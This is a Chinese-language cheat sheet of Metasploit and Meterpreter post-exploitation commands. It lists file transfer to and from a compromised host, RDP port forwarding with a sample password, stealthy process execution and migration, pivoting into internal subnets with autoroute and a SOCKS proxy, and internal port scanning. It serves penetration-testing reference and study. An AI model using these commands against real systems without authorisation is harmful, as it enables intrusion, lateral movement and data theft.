查看msf模块
msf>banner
查看插件
msf>load -l
MSF基本命令
jobs -l ---查看后台运行任务
Meterpreter的常用命令
基本命令
background # 让meterpreter处于后台模式
sessions -i index # 与会话进行交互,index表示第一个session
quit # 退出会话
shell # 获得控制台权限
irb # 开启ruby终端
文件系统命令
cat # 查看文件内容
getwd # 查看当前工作目录
upload # 上传文件到目标机上
download # 下载文件到本机上
edit # 编辑文件
search # 搜索文件
网络命令
ipconfig / ifconfig # 查看网络接口信息
portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码
route # 获取路由表信息
系统命令
ps # 查看当前活跃进程
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
getpid # 获取当前进程的pid
kill pid # 杀死进程
getuid # 查看权限
sysinfo # 查看目标机系统信息,如机器名,操作系统等
shutdown # 关机
MSF添加路由
meterpreter >
[*] run get_local_subnets #查看已拿下主机的路由情况
# 找到需要添加的内网路由段(内网IP10.1.1.0),进行添加路由
[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0
[*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
[*] run autoroute -p # Print active routing table
[*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0
或者
bg
[*] route add 172.16.10.0 255.255.255.0 1 #1是挂起的session编号
使用nmap插件扫描端口服务
设置路由后
nmap -sV -p ports ip
使用MSF进行内网端口扫描
将当前sessions转为后台运行
设置扫描模块
background
use auxiliary/scanner/portscan/syn
set RHOSTS IP
set PORTS ports
使用MSF添加socks代理
设置路由只能使MSF可以访问内网,如果需要其他应用也可访问,需要在成功添加路由后,做socks代理。
在msf6中代理模块改为了auxiliary/server/socks_proxy
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set USERNAME root
set PASSWORD Password
编辑本地的proxychains程序配置文件
vim /etc/proxychains.conf
浏览器访问内网服务
浏览器设置代理
此时就可以通过浏览器直接访问内网了。
如果此时希望使用msf或者nmap
的话,就必须使用proxychains
来进行启动程序,并且一定要注意proxychains
只对tcp
流量有效,所以udp和icmp
都是不能代理转发的。
如 proxychains nmap -sT 内网ip
Metepreter中文乱码
执行chcp 65001
查看sessions异常断开故障排除技巧
Increase logging
msfconsole中有一个全局LogLevel选项,用于控制打印日志的详细程度,可以设置1到5之间的数值:
msf6 exploit(..) > setg LogLevel 5
检查Metasploit日志
发生错误后,检查Metasploit日志文件,了解一下发生了什么:
cat ~/.msf4/logs/framework.log
快速诊断信息
当发生错误(例如meterpreter 会话终止)时,可以通过在msfconsole中运行debug命令来快速获取诊断信息:
[*] 192.168.100.1 - Meterpreter session 1 closed. Reason: Died
msf6 exploit(..) > debug